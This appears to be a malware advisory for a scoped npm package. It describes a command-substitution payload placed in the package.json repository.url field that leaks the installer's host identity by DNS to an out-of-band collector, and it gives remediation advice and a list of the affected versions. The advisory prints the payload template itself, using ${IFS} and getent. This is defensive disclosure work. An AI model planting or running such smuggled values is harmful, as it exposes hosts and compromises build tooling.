@an1mshnpmb9c84920/pipe-dns-m19t2

Details

---
_-= Per source details. Do not edit below this line.=-_

## Source: amazon-inspector (6ca06c3437a018a2cdb116b01f0c4ee234bfc189f2b91b2d181560cb81d4b861)
The package.json repository.url field embeds a shell command-substitution payload of the form $(getent${IFS}hosts${IFS}<subdomain>.oob.awss.dev>/dev/null), designed to execute when tooling interpolates the field into a shell context. The payload resolves an attacker-controlled subdomain under oob.awss.dev, leaking the installer's host identity via DNS to the attacker's out-of-band collector. The package body is a one-line stub with no legitimate functionality; the entire payload is in the manifest metadata. The scoped name and single-release shape are consistent with a dependency-confusion or manifest-injection probe targeting internal npm tooling.

## Source: ghsa-malware (0af2574cde6941a12e82bbc6fb4de1d1fd75b2434ab5e88dbebc4e8ea644bd36)
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Compromised versions (3)

• 1.0.0
• 1.0.1
• 1.0.5

Any computer that installed or ran a compromised version should be considered fully compromised. Rotate every secret on that machine from a clean environment.